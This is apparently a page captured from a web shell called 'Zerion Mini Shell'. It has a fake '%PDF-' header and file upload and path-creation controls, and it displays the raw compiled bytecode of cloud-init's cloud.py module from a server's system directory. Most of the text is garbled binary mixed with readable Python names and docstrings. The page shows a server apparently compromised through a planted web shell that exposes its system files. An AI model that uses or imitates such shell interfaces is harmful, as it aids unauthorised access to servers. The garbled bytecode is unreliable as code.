%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cloudinit/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cloudinit/__pycache__/cloud.cpython-312.pyc

�

�f����ddlZddlZddlZddlmZddlmZddlmZm	Z	ddl
mZddlm
Z
eje�ZGd�d�Zy)	�N)�Optional)�Distro)�Paths�Runners)�events)�
DataSourcec��eZdZ	ddedededededee	jfd�Zed	��Z
dd
�Zd�Zdd�Zd
�Zed��Zd�Zd�Zdd�Zd�Zdd�Zdd�Zdd�Zy)�CloudN�
datasource�paths�cfg�distro�runners�reporterc��||_||_||_||_||_|�tjddd��}||_y)Nzunnamed-cloud-reporterF)�name�description�reporting_enabled)rrr�_cfg�_runnersr�ReportEventStackr)�selfrrr
rrrs       �1/usr/lib/python3/dist-packages/cloudinit/cloud.py�__init__zCloud.__init__ sO��%�����
������	���
����.�.�-�4�"'��H�
!��
�c�@�tj|j�S�N)�copy�deepcopyr�rs rr
z	Cloud.cfg6s���}�}�T�Y�Y�'�'rc�@�|jj|||||�S)a�Run a function gated by a named semaphore for a desired frequency.

        The typical case for this method would be to limit running of the
        provided func to a single well-defined frequency:
            PER_INSTANCE, PER_BOOT or PER_ONCE

        The semaphore provides a gate that persists across cloud-init
        boot stage boundaries so multiple modules can share this state
        even if they happen to be run in different boot stages or across
        reboots.
        )r�run)rr�functor�args�freq�
clear_on_fails      rr"z	Cloud.run;s!���}�}� � ��w��d�M�J�Jrc���|jj|z}tjj	|�s5t
j
dtjj|�|�y|S)Nz-No template found in %s for template named %s)r�template_tpl�os�path�isfile�LOG�warning�dirname)rr�fns   r�get_template_filenamezCloud.get_template_filenameIsR��
�Z�Z�
$�
$��
-���w�w�~�~�b�!��K�K�?�������#��
�
��	rc�8�|jj|�Sr)r�get_userdata)r�apply_filters  rr2zCloud.get_userdataUs�����+�+�L�9�9rc�6�|jj�Sr)r�get_instance_idr s rr5zCloud.get_instance_idXs�����.�.�0�0rc�.�|jjSr)r�launch_indexr s rr7zCloud.launch_index[s�����+�+�+rc�6�|jj�Sr)r�get_public_ssh_keysr s rr9zCloud.get_public_ssh_keys_s�����2�2�4�4rc�6�|jj�Sr)r�
get_localer s rr;zCloud.get_localebs�����)�)�+�+rc�<�|jj||��S)N)�fqdn�
metadata_only)r�get_hostname)rr=r>s   rr?zCloud.get_hostnamees#�����+�+��]�,�
�	
rc�8�|jj|�Sr)r�device_name_to_device�rrs  rrAzCloud.device_name_to_devicejs�����4�4�T�:�:rc�8�|jj|�Sr)r�
get_ipath_currBs  rrDzCloud.get_ipath_curms���z�z�'�'��-�-rc�8�|jj|�Sr)r�	get_cpathrBs  rrFzCloud.get_cpathp����z�z�#�#�D�)�)rc�8�|jj|�Sr)r�	get_ipathrBs  rrIzCloud.get_ipathsrGrr)NF)T)FF)�__name__�
__module__�__qualname__rr�dictrrrrrr�propertyr
r"r0r2r5r7r9r;r?rArDrFrI�rrr
r
s���7;�!��!��!��	!�
�!��
!��6�2�2�3�!�,�(��(�K�	�:�1��,��,�5�,�
�
;�.�*�*rr
)r�loggingr)�typingr�cloudinit.distrosr�cloudinit.helpersrr�cloudinit.reportingr�cloudinit.sourcesr�	getLoggerrJr,r
rOrr�<module>rWs=����	��$�,�&�(��g����!��U*�U*r

Zerion Mini Shell 1.0